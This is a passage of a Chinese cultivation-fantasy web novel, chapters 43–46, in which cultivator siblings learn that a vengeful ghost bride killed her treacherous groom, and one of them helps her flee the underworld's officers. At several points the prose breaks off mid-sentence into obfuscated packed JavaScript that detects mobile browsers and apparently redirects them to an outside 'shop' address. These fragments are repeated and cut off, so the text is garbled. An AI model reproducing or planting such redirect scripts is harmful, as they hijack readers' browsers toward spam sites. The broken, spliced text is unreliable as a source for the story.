石映心抿着笑点了点头,没多问,也没把只剩下“此恨绵绵无绝期”的因果牌收起来,就放在桌上看着,有种监视的意思。 这时候忙完一通的曾换月也坐了下来,师兄妹四人齐聚一桌,瞧着都放松了许多。 顾梦真感慨道:“虽说这几日是挺折腾的,不过下山做任务没我想得那么恐怖嘛,而且能助人为乐也挺有意义的。我看我回去还是赶紧破镜吧,到时候可以和大师兄、映心一起下山了。” 石映心说:“是啊二师兄,彼此也有照应。” 曾换月却“哼”了一声道:“怎么这样,你们竟想把我一个人留在山上!” 顾梦真:“那你也勤加修炼呗!” “修炼破镜哪是这么容易的事?”曾换月嘟嘴不满,戳戳碗中的小白菜,“我看我还是偷偷跟下来好了,指不定在人间游历还能找到一些难得的机缘呢?” 明易抬眼:“曾换月,你当我不存在?” 曾换月闭嘴瘪着,心说大不了就被骂几句、罚几个板子呗……放她一个人困在门派里,她是万分的寂寞,忍不了的! “好啦,到时候再说吧!”曾换月甩甩脑袋,夹了一块鸡翅吃起来,“希望我们明天就能回门派……” 她话音未落,石映心忽然把边上的木牌举起来给几人看:“诗词只剩一个字了!” 三人定睛一看,还真是!看来诗词全部消失不过是时间的事。顿时喜上四对眉梢,曾换月倒了茶来,举起来要碰杯:“来来来,让我们庆祝师姐首次任务即将大功告成!” “好!” 周围传来宾客们的欢声笑语,热闹烘托着喜事的欢庆;师兄妹四人举杯祝贺、茶盏相碰,清脆声听得悦耳;放眼望去一片旧木红帐,轻纱映出无数烛光的飘影,铺挂着像是一个个怀抱,忽地就接住了什么,从二楼被牵扯飞下—— 哐! 石映心的茶盏刚到嘴边,猛地脸上被溅到了一滴,茶水上隐约荡开一抹深色,她抬眼一看,原来是桌上从天而降了一道珍稀菜肴—— 鲜血淋漓的新郎官。 石映心:OO 她师兄师妹:OO 死不瞑目的贾庆升:OO 一滴血飞溅到她手边的因果牌上,染红了最后一字,“恨”便在血色中深深消融了—— 恭喜石映心完成任务! 可喜可贺、可喜可贺。 43. 第 43 章 虽然事发突然,一时之间大家都变成了木鸡,但情况是这么个情况。 总之,等反应过来之后就是一阵鸡飞狗跳,该喊“杀人了”的在扯嗓子喊“杀人了”,该屁滚尿流的就屁滚尿流,该逃命时被桌椅绊倒的就被绊倒,每个人都尽职地扮演着闹剧中的一员,吵吵闹闹的倒有另一种喜庆。 就某张桌子诡异地很安静。 大概想不通为什么吧。 石映心抹去脸上那滴血,站起来的时候手上已经拿了佩剑,她扭头往楼上望去,和站在干栏边上面无表情的新娘对上视线。 二人遥遥相望了半晌,石映心先说话了,毕竟她这会真的很疑惑: “你……故意把贾庆升扔我们桌上?” 她桌上其余三人:…… 所以这就是你的重点? 何碧薰顿了顿,倒是礼貌地回复了:“此事只是凑巧,对不住了。” 明易实在不能放任情况继续这么下去,开口道:“何碧薰,事到如今你还要隐瞒什么?” “欺骗你们并非我的本意,不过……”她苍白的面上红唇笑得很惹眼,“我如今大仇得报,确实多亏了几位恩人的鼎力相助。” 几位恩人:…… 曾换月很难说清自己现在的心情是尴尬是震惊是愤怒还是什么什么巴巴拉拉乱七八糟的,总而言之,万千思绪,都汇聚成了她这苦命的一笑:“不是姐,你把我们当鬼整呐?” 何碧薰呵呵微笑道:“曾仙人说笑了,在场的鬼只有一只,那便是我了。” 曾仙人:…… 顾梦真这会感到了很多背叛,毕竟是他是第一个上当的人:“何姑娘,你为什么要这么做?难道从一开始……从你被那三个人欺负开始就是你的阴谋?” “那倒不是……”他这么问,何碧薰脸上的笑容也带上一丝困惑,“虽值鬼月,但大部分鬼魂都不能在白日游走,就是我如今的修为,在白日也像寻常弱女子一般……被那三个登徒子缠上是意外,得几位恩人的帮助则是老天待我不薄。” “我心中明白,几位帮我是和你们归壹派的任务有关,并非多管闲事。借你们之力确实是兵行险招,但于我而言……实在不能放弃这阵东风。” 她话说到这,石映心忽然回过味来了:“原来那三具无皮尸体是你杀的。” 顾梦真:!? 何碧薰微微颔首:“说得不错,他们便是当日对我出言不逊的三人。石仙人你割去了他们的嘴皮子,我怕引人怀疑,只好将他们的人皮尽数剥离。” 曾换月:“你也太残忍了!” 何碧薰:“残忍?那三人横行霸道、强抢民女,我没在他们活着时先扒了他们的皮、让他们流血而亡,已是万分的仁慈了。” 曾换月想想也是:“……好吧。” 又不解地问:“你究竟为何要杀贾庆升?难道你和我们说的那些故事都是假的?你分明演得那么真!” 何碧薰摇摇头:“真真假假,现在还重要吗?” 这时候大概只有明易还记得桌上凉透的尸体了,他冷声道:“何碧薰,既然你敢当着我们的面杀人,想来已经做好了魂飞魄散的准备。” 何碧薰瞥他一眼,咧嘴笑起来,笑得楼下几人都有些疑惑,怕是这坏鬼还有什么后手,不过很快就听她道:“哈哈哈哈哈!我会不会死不好说,但你们再不去银州署,这世间就要再多几只怨鬼!哈哈哈哈……” 她这话是什么意思? 几人面面相觑,拿不准该不该信她。何碧薰见他们怀疑,居然主动解释道:“邓小姐的成全也算是助我完成了夙愿,这一句提醒便是我对她的报答,至于信不信……由你们决定。” 人就是这样,就算被骗过一把大的,但对方一说些好听话又要迟疑起来。明易干脆道:“你们三人去银州署,我留下应付她。” 两个还算省心的:“好!” 一个不省心的:“我留下吧大师兄,你去。” 明易眉头都来不及皱起来,那个不省心的已经提剑飞起来去二楼打鬼了。 顾梦真拉住他说:“算了算了,走吧走吧!” 明易:……行(深呼吸)。 先看这边,石映心和何碧薰在二楼有些束手束脚地对了几招,将边上的干栏震破了,连带着上头系着的红帐,七零八碎地飞洒下去,盖住了贾庆升死不瞑目的遗容。 二人没多久就打到了客栈外,几个来回石映心已经摸清了对手鬼的实力,大概是银州署那只火鬼的十倍,火鬼其实不强,胜在体质特殊;何碧薰虽鬼力强悍些,但打起来招招能落实,倒是让她舒心许多。 月挂枝头,十四的圆月照得满林绿叶莹莹发光,下一刻有剑风砍来,便被斩断随风卷起,化作飘零的枯蝶飞过何碧薰的脸上,留下两道红痕。 石映心很快便发现了何碧薰的弱点,她光会使用鬼术,身手却不好,毕竟前世只是个普通的凡人,哪里练过功?所以对付她的最简单办法是近攻肉搏。 挥剑将她送来的鬼气劈开,石映心不再手下留情,拈剑诀附剑,帝血剑便飞速转动起来,猛地一滞便朝何碧薰突进,来势汹汹;何碧薰躲避不急,连忙推掌相抵,但帝血剑剑气逼人,一转破开鬼气,眨眼间便扎穿了她的手掌。 “啊!” 何碧薰惨叫一声,咬牙将帝血剑拔出,拔剑的手上也因此血肉模糊,她看着两只破口漏血的手,疼得急喘气,这会忽然发现剑主人不见了,连忙左右看了看,只见荒林之中阴风瑟瑟,树影幢幢,有些可怖的死寂。 奇怪,人在…… 肩上猛地被什么按住,何碧薰浑身一颤,迟疑地扭动僵硬的脑袋,听到一个声音从她耳后吹来:“抓,住,你,了。” 何碧薰:…… 吓死鬼了! 就在石映心把何碧薰五花大绑的时候……话分两头,再看明易三人这边,他们匆匆赶到银州署,在空中就瞧见下边的邓家大宅热闹得很,几进院落来来往往好多人,多是一列列一对对的,为首的断尾的都举着火把,定睛一看,竟都是些官兵衙役。 大鹏展翅上的顾梦真惊讶得有些茫然:“发生什么事了?” 明易御剑而去:“下去看看。” 他快得像一粒火星子落入下方的火光之中,橙红的火色照亮了一张张神色各异的脸,比如邓晴,她大概从来不知道自己会露出如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何碧薰静静地看着她:“你们打算把我如何?” “带你回我们门派的戒律堂,届时有人知道怎么处置你。” 何碧薰闻言,微微撇过脑袋:“若是要对我严刑拷打,不如你现在就把我杀了。” 说到这她忽地笑了一声:“把我杀了也好,留着我这余孽,是不是也坏了你们这些弟子的任务?” “那倒不是。”石映心说起来也有些古怪,“贾庆升死的时候……分明我的任务就恰好完成了。这么想来很不对劲,难道我的任务就是助你杀了贾庆升?” 名门正派怎么会给弟子们颁布这样“助鬼杀人”的任务呢?何碧薰也好奇起来:“这是什么任务?” 石映心觉得事到如今,告诉她又怎么样,便简而告知。 没想到何碧薰听了哈哈大笑起来,笑得眼泪都掉出来了。 石映心漠然地看着她笑了会,耐心告罄地捂住了她的嘴巴,威胁道:“听你笑得这么高兴,看来已经知道了怎么回事?劳烦和我说说。” 何碧薰:“唔唔唔!” 44. 第 44 章 自古多情空余恨,此恨绵绵无绝期。 此诗的重点,如何看都在这“恨”字上,若恨没了,全诗自然便失去了意义;要这恨字消失,要么杀了被恨的人,要么满足恨人的人,两条路径,殊途同归——总之要死一个。 石映心,听明白了吗? 若是曾换月在这,听此就要五雷轰顶,哭着喊着说:“师姐,死错了!” 可在这的是石映心,她这会便思考起来:“那照你的说法……我也不算做错了事?好吧,到时候回去就和师父用你这套说辞。” 何碧薰:…… 她神色古怪地打量了一会面前更古怪的女人,忽而福至心灵,感到一丝奇异,便端正态度,一字一句道:“石仙人,既然你明白了,那你放了我吧,我不想死,我想去阴曹地府,我要投胎。” 石映心摇摇头:“不行。” “为什么,你的任务不是已经完成了?” 石映心同情地看着她:“你真是白痴,竟敢在我大师兄面前杀人,他是万万不会放过你的;要是我放了你走,之后怎么和大师兄交代?” 何碧薰噎了一下,据理力争:“我不杀他,你们的任务如何完成?” 说起这些前因后果的逻辑来,石映心是很不耐烦的,当即一挥手说:“好了,不要讲这些没用的。杀人偿命,我现在没杀你,你应该要知足;而且戒律堂一般不会赶尽杀绝,跟我们回去也许你还有一线生机……” “杀人偿命,哈哈哈哈!哈哈哈哈!”这女鬼惊人地大笑起来,哈哈着说,“那照你的说法,我杀了贾庆升完全是情有可原!” 情有可原? 石映心想到她的女鬼身份,推测道:“难道你变成鬼……是因为被他杀了?” “没错!”何碧薰双目癫狂,睚眦欲裂,“不只是我,我爹、我娘,我何家上上下下上百口人,皆是因他而死!而我只杀了他这一回!石仙人,我有什么错?难道他不该偿命吗?!” 没想到她竟有这样的冤屈,听着真是惨绝人寰……但这关她石映心什么事呢? “师兄他们怎么还没回来?”她嘟囔着站起来,走了两步又转回来,拿起丢在边上的帝血剑,顺便瞥了何碧薰一眼,见她瞪着一双红血丝的泪眼,欲语还休地看着她。 她一定很痛苦,石映心想,就像她先前照她的时候那般心疼。 不过她不会再照了,她又不傻。 “石仙人……” 石仙人提着剑转身要走,刚迈出一步,右手莫名发起抖来,奇了怪了,她低头望去,原来是帝血剑在抖。 这是怎么了? 石映心举起剑看了看,剑身上套着薄薄的血,是何碧薰的,其余没什么异样,那剑在抖什么呢?不像是害怕啊,更像是……着急?生气? 搞不清楚,这剑真古怪,之后问问二师兄好了。 她正要把剑放下,却见帝血剑顽固地绷在了空中,石映心皱眉盯它,却见血色朦胧下的剑面,似乎有什么一闪而过,她不由得跟随那模糊的变化微微眯起眼睛,深深望进去—— “小姐!” 她抬起头来,瞧见丫鬟面上带笑地快步走近了,弯下腰小声道:“小姐,贾秀才来了。” “他来得好时候,我这香囊也恰好做成了。” 话音刚落,贾庆升便跨了门槛进屋来,双手背在身后,脸上笑意盈盈。丫鬟识趣地跑出了门外。 何碧薰轻笑一声:“还藏什么?我都闻到烧饼的肉香了。” “薰娘的鼻子何时这么灵了?是不是我才到衙门口你就闻到了?” “胡说八道什么呢……”何碧薰迎上他,“你看,这是我新绣的香囊,花样你还喜欢?” “我哪里懂这些?你做的我都喜欢,舍不得戴。” “……真会说好听话,怪不得我爹这么喜欢你。” “哈哈哈……能得你们何家人的喜欢,是贾某的荣幸。” “……” 石映心不知道自己在哪里,过了这一剧情才缓过神来,原来她现在是何碧薰?可她方才分明没照她啊,就是照了,以往也只是“鬼上身”,不会像这样做梦一般的,为什么…… 不管如何,现下的欢喜是多么真实,她拉着贾庆升的手,她的心脏满满登登地充盈着什么,这份感情让石映心觉得陌生又熟悉。 总之不管这么多了,看着贾庆升含情脉脉地凑过来的脸,石映心一巴掌把他打飞—— 场景一转。 “咚。” “咚。” “爹!娘——” 夜色火光中,两个人头在她面前落下,石映心再次感到撕心裂肺的疼痛,仿佛自己的脖子也在摇摇欲坠,她沙哑着喊:“为什么!为什么?” 那个提着大刀的壮汉就要走过来,后边却又冒出一个瘦削的身影拦住了他,那人缓步走来,弯下腰来: “薰娘,伯父做错了事,死罪难免,与其之后压去牢里受尽折磨,还不如现在一刀两断……我……我只能保下你,以后你换个身份陪在我身边好吗?” 石映心透过泪光看见了他,灼灼火焰在他脸上蹿腾,照得他的表情仿若狰狞的鬼面,那双眼看起来很真挚、很复杂,但是何碧薰却看透了: “事到如今你还在装模作样什么?你跟他们是一伙的——不!你才是罪魁祸首!那晚的火是你放的,你借灭火之名偷了册子做了手脚,给我爹背上这莫须有的罪名!我想明白了!我全明白了!原来这一切……” 她说不下去了,垂下脑袋呜呜地哽咽起来,无尽懊恼自己后知后觉的大错,人声脚步声耳鸣声中,她听见那人说:“你何必要想得这么明白?不如就当什么都不知道,等我做了新知州、纳你为妾后,你的吃穿用度都一如既往,只要你愿意,你还能做一个无忧无虑的千金小姐……” 他无奈地叹了口气:“薰娘,我是真心待你的。” 何碧薰被他扶起来,只觉脑袋昏昏、疼得要命,但她十分知道自己要做什么,勉力站稳之后,忽地转身拔出她身后方才禁锢住她的那名官兵的佩剑,使劲朝面前之人刺去—— 只可惜她太慢了。 她太没用了。 何碧薰倒在地上,脖子上一片血热,身子却密密麻麻地开始发冷。有拿着火把的官兵凑过来看她,火光烧着了天上的圆月,吞噬了她的瞳孔,人世间的一切便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15832826|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模糊了。 飘飘渺渺。 晃晃悠悠。 无法可想。 总之,等她回过神来,就是听到有人和她说:“过了奈何桥,看见的那座土台便是望乡台,台边的老妪就是你们凡人口中的孟婆,喝了她的汤就可以去投胎了。” 说罢,有手推了她一下,何碧薰便顺力往前飘去。 在桥上飘的时候,她发现自己胸前挂着什么,垂头一看是一块木牌,拿起来一看,正面写着“路引”二字,背面则是“银州何碧薰”,边上有一串小字,写了她的生辰和死辰。 对,她是何碧薰。 她死了。 何碧薰猛然回过神来,眼前的一切终于看清了,原来她已进了地府!无心观赏幽都美景,她看着面前这座茫茫一片的木桥,前方有不好数的鬼影——这时候她想起自己死去的爹娘,慌张地在桥上跑起来。 “爹!”掰过一只鬼的肩膀,不是! “娘?”又找了一只,不是! “爹、娘!我是薰儿啊……爹、娘……”她一边哭一边找,“你们听到了吗?我是薰儿啊!” 从桥头找到桥尾,居然都没有找到,何碧薰瘫坐在地上,伤心地哭着:“你们走得这么快,为什么不等等我……爹,娘……你们是不是怪我?怪我错信了那个贱人……” 这时候有人要把她扶起来,何碧薰抬头一看,是个白发苍苍的和蔼老太,笑眯眯地对她说:“姑娘,你爹娘或许已经投胎转世去过好日子了,你该为他们高兴才是。来,起来吧,别哭了,人一死,前生如往事云烟,不必再记挂啦。” 何碧薰被她扶起来,还来不及道谢一声,这老奶奶便笑着朝她点点头,转身飘去前方的望乡台了,瞧着是赶着去投胎的。 她抹了把眼泪,左右望了望,大家都在飘去喝孟婆汤;她有些茫然,心中仿佛记挂着什么,但又想不起有多重要,只好惘惘地随鬼流而去。 排了没一会的队就轮到她了,孟婆把汤递给她,飞快地说:“喝吧喝吧,忘却前尘往事,今生了无牵挂!” 叫卖的语气听着像她家门口卖了三十年梅干菜肉包的大娘。 何碧薰拿着碗迟疑了一会,后边就有鬼在催促,她只好先腾开位置,走到边上的一颗大石头下坐着,望着汤镜中自己漠然的脸。 还等什么呢? 喝吧……喝吧…… “我不喝!” 噼里啪啦,边上传来摔碗的声音,何碧薰转头望去,瞧见一名男子跪地痛哭道:“我不喝!我不要死啊!我不要忘记我娘子!她还在老家苦苦等我……我不要死啊呜呜呜……” 后边有鬼骂他:“不喝就滚,后边还有人赶着投胎!” 男子抽抽鼻涕:“不、不喝就不喝?” “哎呦,你以为地府这么多孤魂野鬼哪来的?都是像你这般心有余念、不肯忘怀前身之人,”孟婆一手打汤,一手随意地挥着作打发样,“赶着投胎的人多了去了,哪里缺你一个?不喝就在地府散散心,想开了再过来吧!去去去,别挡人家的投胎路!” 男子茫然地爬开了。 何碧薰收回了视线,把碗放到了边上。 45. 第 45 章 不知过了多久,面前经过了多少只鬼,直到孟婆汤收了摊,孟婆擦擦手要回家,路过她时瞧见了她身边那碗汤,多嘴说了一句:“姑娘,喝完汤记得把碗还回我摊上,天天有傻鬼摔碗,真以为碗不要钱那?一个个的,欠我的阴债跑不了!” 何碧薰:…… 她抬头问:“婆婆,你有看见我爹娘吗?” “哎呦,你爹娘这会估计在喊别人爹娘呢,忘了吧,忘了吧!” 何碧薰落下一滴泪:“我一家上百口人受奸人所害、死得不明不白,我爹娘的人头掉在我眼前,我越想越忘不掉……” “真惨、真惨。”孟婆说,“不过喝了我的孟婆汤就能全忘。” “我不敢忘……”何碧薰摇摇头说,“我想报仇,我要让那个奸人生不如死、以命偿命……” 孟婆听此,呵呵大笑起来:“前世因,今生果,谁也跑不了;你要想报仇,不如赶紧入轮回投胎,去讨要了这份因果!” 何碧薰茫然抬头:“可我喝了孟婆汤就什么都忘了,要怎么报仇?” “哈哈哈哈!” 孟婆听此抬手一挥,何碧薰感到有光亮从身后照来,转头一看,是她背后的大石头在发光,石头上的“三生石”三字渐渐消失,取而代之一些画面,何碧薰在画面里看到了贾庆升,他果真当上了知州,意气风发、好不威风。 “下一世你就做他的千金女儿,从小锦衣玉食、备受疼爱;长大后爱上一个觊觎你家世的男人,你将他引荐给你爹,也就是贾庆升,而他将因错信此人而死。你夫君虽害死你父亲,不过接手了你家之后,依旧让你和你娘活得滋润、家业蒸蒸日上;你们被他蒙在鼓里,幸福地过完了一生……” “怎么可能!”何碧薰惊慌叫道,“你胡说什么!?” 孟婆微微一笑:“不喜欢?你这千金小姐、富裕一生的命格,别人想求还求不来呢。” “我如何能认奸人做父!?” “那是下一世的事了,届时你什么都忘了。你只记得荣华富贵,只记得父爱如山,只记得你夫君救你一家的感恩戴德……” “我不要这样……”何碧薰摇着头后退,踉跄地倒在三生石上,面目恐惧,“我不要这样……” 孟婆呵呵呵呵地笑了几声,其实早就无趣于嘲笑这些愚笨的凡人了,便不再搭理她,赶着收摊回去歇息呢。 何碧薰感到深深的绝望,她趴在石头上大哭起来,泪水打湿三生石上那一块陈旧的深色。她拿起胸口的牌子看着,曾以为这是此生落幕后珍贵的纪念,原来、原来……不过是写好命格的话本人物罢了…… 难道投胎为人,就要按照这样的命运才能报仇吗! 可是…… 可是……为什么…… 石映心看着这块三生石,越看越有些生气,只是剑不在身边,于是她冷哼一声,抬脚踹去—— “打扰了,请问人间路往何处走?” 何碧薰半个身子泡在忘川河里,她面色青白……毕竟是鬼嘛,倒也正常,她唇色干裂,声线沙哑,可她不敢喝一口忘川水,这喝下去就是嗜骨的疼痛啊,看她化作白骨的双腿和双手便知道了。 “又来一只要走河的鬼。”破舟上的鬼笑道,“看来走河的传闻是无鬼不知了。” 据说从忘川河走到人间路的鬼,能够修成白日在人间行走的肉身,鬼术也在此艰难险阻中得到锻炼和增长,便不是一般的小鬼了,算是半个“鬼修”。可走河谈何容易,忘川河腐蚀鬼身,虫蛇满布,还有水鬼潜伏…… 走去人间,短则几十年,长则上百年,日日都是这般痛苦,鲜少有鬼坚持下来,因此许多鬼认为“走河”只是个传闻。 何碧薰艰难一笑,脸上有个奇怪的黑洞,不知道被什么咬的:“是,我想试试……” 舟上的鬼问:“你去人间做什么?” “我有深仇大恨要报……今生就要报。” “唉……”舟上的鬼却是一声叹息,摇摇头说,“世事漫随流水,算来一梦浮沉。不要沉溺于过往的仇恨了,算了吧姑娘。” 何碧薰提起一口气继续问:“大叔,人间路往哪走?” “我只在这一片游船,不知晓啊。”说罢往舟上一躺,将斗笠盖在脸上,不管不顾了。 何碧薰有些落寞,不过她也习惯了,几乎每一个她要问路的鬼都不会告知人间路往何方,而是要劝她放弃报仇……如此,她不知走了多少岔路,已经走了二十多……或许是三十多年了?不记得。 这次往哪走呢? 左拐吧。 在河中走着走着,河水腐蚀的麻木的疼痛已经不能让她呻吟一声。前方似乎有两只鬼在说话?过去看看……走近了一瞧,咦,似有些眼熟? 只听那个背对着她的男鬼对站在岸边的鬼大娘哭泣道:“大娘,我不能死啊!我不能忘记我娘子!她还在老家苦苦等我……” 鬼大娘为难道:“可是这都二十多年过去了,你娘子也许早就另嫁喽!再说人鬼殊途,你去了人间又能如何呢?” 男鬼哭哭啼啼道:“我知道、我明白……我只是想看着她,在暗处守护她一生平安……自古多情空余恨,此恨绵绵无绝期!看她余生幸福,我便满足了呜呜呜……大娘,求你给我指路吧!” 鬼大娘闻言,感动地抹了把泪:“唉,真是有情人难成眷属!好,我就破了这个例,为你指一条明路!” “多谢大娘,我瞧您便是心善之鬼!年轻时必定是风华美人!” “哎呀,那都几百年前的事了哈哈哈……” …… 何碧薰:OO 她转身往回淌。不知走了多久,终于又瞧见一只在岸边钓鱼的鬼,何碧薰迎上前问:“打扰了,请问人间路往何处走?” 钓鱼鬼瞥她一眼:“瞧你这样,何必执着呢?投胎去吧!” 何碧薰脸上一抽,抿了抿唇,一开始还有些僵硬:“我……我想去找我的夫君……我、前世与他琴瑟和鸣,却因意外分别……我想见他最后一面。” “这都多久过去了?你夫君也许早就另娶她人。” “我知晓……可我并无他求,只是想看着他,在暗处守护他一家团圆平安……自、自古多情空余恨,此恨绵绵无绝期……只要他余生幸福,我便满足了……大哥,求你给我指路吧。” 说罢,深深低下头颅来。 几息的窒息沉默过后,就听那大哥长叹了口气:“唉……想当年,我与娘子也有这般恩爱的时候啊……好,我就帮你指条路!” 何碧薰诧异地抬起头来看他。 钓鱼鬼用鬼术给她指了路,却不见她走,再一看去,这女鬼居然哭了:“你、你哭什么?” “没什么……”何碧薰摇摇头擦去眼泪,扬起一个笑道,“多谢大哥。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“走!”她踉跄地要爬起来,忽然又跪好,深深地朝石映心跪拜下去,“多谢石仙人救命之恩!若有来世,必涌泉相报……” “……你到底走不走?” 当然是连滚带爬地跑了。 石映心瞥了眼手中还沾着鬼血的剑,压下心中的疑虑,打算先回旅舍。结果没走两步她大师兄就飞了过来,停在她面前,双眼左右一扫,问:“何碧薰在哪?” 怎么来得这么快,她借口都还没想好:“……嗯,嗯。” 明易:“嗯?” “我打不过她,给她跑了,嗯。” “说谎。”明易冷笑一声,“你放她走了?” 石映心:→→ 如今多余再问为什么,明易深呼吸一下,目光很快锁定到地上的血迹,正要追去,他师妹却跳过来拦住他:“算了吧师兄,我的任务已经完成了。” 明易正色道:“惩恶扬善、降妖除魔,是归壹派弟子的终身使命。你放走恶鬼的事之后再和你算账,让开。” 石映心:←← “石映心,让开。” “师兄,她有苦衷的。” 她哪里是会体谅别人苦衷的人,明易立刻明白:“你照她了?” 石映心:→→ “你!” 瞧她这副假惺惺的虚心模样,明易真是气不打一处来,有一大堆话要说,又知道现在不是好时机,生生压下去好大一口闷气来,咬牙道:“你让不让?” 不让不让不让不让不让。 46. 第 46 章 师兄妹也会打架的,于是两人就打了起来。 不过没过两招,就见何碧薰就踉跄地从那头跑了过来,这会两边琵琶骨上又多了一大片的血迹,鬼脸近乎透明了,声音也嘶哑得很:“石仙人……” 师兄妹二人皆是一愣,打架暂停,连忙过去查看她情况:“何人伤了你?” 何碧薰苦着脸说不出太多话,残喘道:“求求你……救……救我……” 石映心正冒着问号,忽地起了鸡皮疙瘩,渐渐感到一阵可怖的威压。 这是她入银州以来第一次感到这么重的鬼气,她现在大概明白了,先前是因为受鬼月的影响,银州已是半个鬼城,那些寻常小鬼的鬼气被这特殊的磁场掩盖,故她们才没发现何碧薰的古怪,而且待得越久越不易察觉…… 而如今她却能感受到了,说明此鬼法力之高强。 她抬起眼,先看见大师兄微蹙的眉心,眼里有许多警惕;她顺着大师兄的视线望去,看见黑漆漆的林中浮出一个更黑漆漆的影子,瞧不清模样的时候,她的目光就落在那顶很突兀的长三角帽子上…… 好没品味的帽子,上头还写了四个字:天下太平。 慢慢显出模样,她又看见这人(?)左肩上挂着一条黑亮的长链,链头是个大弯尖勾爪,这会正被他拿在手中甩来转去。 何碧薰瞧见他,瑟瑟发起抖来。 石映心见她的反应,又看对面的“天下太平”像她入梦在地府里看见的那些鬼差打扮,便料到他是地府来捉何碧薰的,原来是只官鬼。 那官鬼见了她们,哼一声冷笑道:“明易?又见面了。” 大师兄认识啊:“师兄,他是谁?” 见到认识的人,明易似乎不很高兴,声线平板道:“黑无常,范无咎。” 石映心于是问第二个问题:“师兄打得过他吗?” 明易嘴角一扯:“没和他打过,估计要以死相拼。” 那有点惨了,大师兄。 二人一鬼面面相觑着,范无咎手中的甩链子的动作一停,挑眉道:“留下那只鬼,你们走吧。” 明易看着他:“捉拿何碧薰回戒律堂,这是归壹派的任务。” “你们归壹派的任务有我阴曹地府的铁令重要?” 石映心便说:“凡……鬼事总有个先来后到,是我先捉住她的。” “你这意思……”范无咎呵呵一声,把目光落到石映心身上,打量一下,没见过,“是要从地府官差手上抢鬼?” 石映心皱眉:“当鬼就能听不懂人话吗,我是先来的,这么算分明是你从我手上抢鬼。” 范无咎:…… “不是,你谁啊?” “石映心。” “……” 明易:…… 实在听不下去了,他是打算好好沟通的:“范无咎,等我带她回戒律堂判决之后,再由长老们决定是否给你们地府处置。” “明易,”范无咎很是不解地问,“你跟我抢鬼做什么?你们归壹派如今也要考核业绩了吗?” 现在不是扯皮的时候,明易给石映心传密音让她带何碧薰走,石映心却问“师兄你要和他以死相拼吗”,明易无语“我与他又无深仇大恨,哪有这么夸张,你带她走便是了”。 石映心转身抱起何碧薰就飞,范无咎在后边大喊“站住”,然后很快就是铁链碰撞刀剑的声音,一人一鬼打了起来。 飞到空中,石映心问:“何碧薰,你要去哪?” 何碧薰在她怀里,苟延残喘道:“去阴阳路……鬼门关……投胎……” “好。” 飞了会:“阴阳路往哪走?” “……” 在坚强的何碧薰的指引下,石映心很快带她来到了阴阳路,从天上望下去,这里就是普通的民间集市,鬼头攒动,鬼火辉煌,好不热闹。有许多鬼在贩卖吃的喝的玩的,还有几处挂了布帘,上头写了:银州一日游,当夜往返。 好多鬼排队,生意很好啊。 石映心飞下去捉住一只吃糖葫芦的鬼问:“地府怎么去?” 那鬼吓了一跳:“啊!有人啊!!” 石映心把它的糖葫芦抢过来塞它嘴巴里:“地府怎么去?” 鬼可怜地往左边一指:“你走到尽头就是了……” 石映心抱着何碧薰飞到路的尽头荒野处,果真瞧见一扇高大的石门敞开着,门匾上写着“鬼门关”三字,里头黑压压一片瞧不分明,门两边守着两只鬼差。见石映心抱着鬼来了,立刻拦住她道:“凡人为何来此!?” “我不进去,”石映心低头示意道,“让这只鬼进去。” 左边的鬼差道:“要进鬼门关,需查验冥途路引。” 石映心:“什么路引?” 这时候何碧薰从怀里掏出一个木牌来,一面正写着“路引”二字。 两个鬼差一看,收起手中的大刀,站回边上说:“凭路引进出鬼门关。” 石映心便把何碧薰放下来,扶她站稳:“再会。” 何碧薰泪眼汪汪地看着她:“多谢你,石仙人。” 石仙人:“知道了,快走吧。” 何碧薰现在几乎是有气进没气出了,实在是快走不起来,快飘也不行,石映心看她慢吞吞的背影很有些着急,眼见要走进那片黑乎乎里面了,她忽然伸出手来猛地将她往前使劲一推—— 下一刻又召唤出帝血剑来,缠住了飞来勾魂的勾魂锁。侧头看去,范无咎正站在不远处,一脸黑气地瞪着她。 范无咎阴沉道:“你以为你做了好事?” “不知道。”石映心说,“不过我做好事做坏事都问心无愧。” “好一个问心无愧!”范无咎气笑了,“好,那就让我拿你去判官殿上是问!” 说着,他一扯勾魂锁要将她的剑扯过来,石映心顺从地将剑放开,飞近了才使诈控制起来,猝不及防地把“天下太平”的帽子砍歪了。 范无咎气死啦。 明易赶到的时候,一人一鬼正打得不可开交,远远的地方围着不少看热闹的小鬼,叽叽喳喳的很八卦;再看战况,石映心胳膊上受了伤,范无咎帽子没了一半,“太”字少了头,看起来只剩下“不平”二字。 明易:唉。 石映心已经落了下风,因为刚才剑被勾魂锁的一头缠住了,她没料到另一头也能用,被范无咎趁机勾了胳膊上半块肉去,这会还疼着呢;原本看守鬼门关的两只鬼差也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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范无咎抖了一下,咬牙切齿地告了师兄妹二人的状:一个是掠走恶鬼,放鬼投胎;一个是包庇同门,是非不分。 妽荼听罢,先是骂范无咎:“废物!捉只鬼都捉不住?黑无常你当不了有的是鬼当!自去判官司领罚!” 范无咎还能怎么办,谢罪退下呗,临走前还恶狠狠地瞪了某二人好几眼。 